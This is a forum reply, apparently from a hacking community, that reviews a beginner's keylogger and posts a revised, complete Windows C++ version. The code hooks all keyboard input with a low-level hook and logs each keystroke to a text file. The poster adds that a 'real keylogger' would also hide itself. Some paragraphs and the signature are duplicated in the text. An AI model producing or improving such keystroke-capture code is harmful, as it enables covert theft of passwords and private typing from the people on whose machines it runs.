RE: Keylogger (Is it good) 01-23-2015, 03:56 AM
#6
It's pretty basic, but not entirely correct either...
^^ This will output inaccuracies based on a few VK keycodes you have missed (VK_DECIMAL, function keys...) for instance, and I would also stay far away from functional casts too for various reasons.
The one thing I would change is move:
Inside main. Declare a pointer to an ofstream outside, and point it to out within main. Then get rid of 'out.close();' because you don't need it.
There are more non-printable keys of course (as mentioned). A real keylogger would probably hide itself too, but I'm assuming that this is just a base start. I also typically stay away from C style casts in C++.
Code:
char(tolower(p->vkCode))^^ This will output inaccuracies based on a few VK keycodes you have missed (VK_DECIMAL, function keys...) for instance, and I would also stay far away from functional casts too for various reasons.
The one thing I would change is move:
Code:
ofstream out("keys.txt", ios::out);Inside main. Declare a pointer to an ofstream outside, and point it to out within main. Then get rid of 'out.close();' because you don't need it.
Code:
#define _WIN32_WINNT 0x0500
#include <fstream>
#include <windows.h>
using namespace std;
ofstream *p_out;
LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam)
{
PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT)(lParam);
// If key is being pressed
if (wParam == WM_KEYDOWN)
{
switch (p->vkCode)
{
// Invisible keys
case VK_CAPITAL: *p_out << "<CAPLOCK>"; break;
case VK_SHIFT: *p_out << "<SHIFT>"; break;
case VK_LCONTROL: *p_out << "<LCTRL>"; break;
case VK_RCONTROL: *p_out << "<RCTRL>"; break;
case VK_INSERT: *p_out << "<INSERT>"; break;
case VK_END: *p_out << "<END>"; break;
case VK_PRINT: *p_out << "<PRINT>"; break;
case VK_DELETE: *p_out << "<DEL>"; break;
case VK_BACK: *p_out << "<BK>"; break;
case VK_LEFT: *p_out << "<LEFT>"; break;
case VK_RIGHT: *p_out << "<RIGHT>"; break;
case VK_UP: *p_out << "<UP>"; break;
case VK_DOWN: *p_out << "<DOWN>"; break;
// Visible keys
default:
*p_out << char(tolower(p->vkCode));
}
}
return CallNextHookEx(NULL, nCode, wParam, lParam);
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
ofstream out("keys.txt", ios::out);
p_out = &out;
// Set windows hook
HHOOK keyboardHook = SetWindowsHookEx(
WH_KEYBOARD_LL,
keyboardHookProc,
hInstance,
0);
MessageBox(NULL, "Press OK to stop logging.", "Information", MB_OK);
// out.close();
}There are more non-printable keys of course (as mentioned). A real keylogger would probably hide itself too, but I'm assuming that this is just a base start. I also typically stay away from C style casts in C++.
ArkPhaze
"Object oriented way to get rich? Inheritance"
Getting Started: C/C++ | Common Mistakes
[ Assembly / C++ / .NET / Haskell / J Programmer ]
"Object oriented way to get rich? Inheritance"
Getting Started: C/C++ | Common Mistakes
[ Assembly / C++ / .NET / Haskell / J Programmer ]
![[+]](https://sinister.ly/images/modern/collapse_collapsed.png)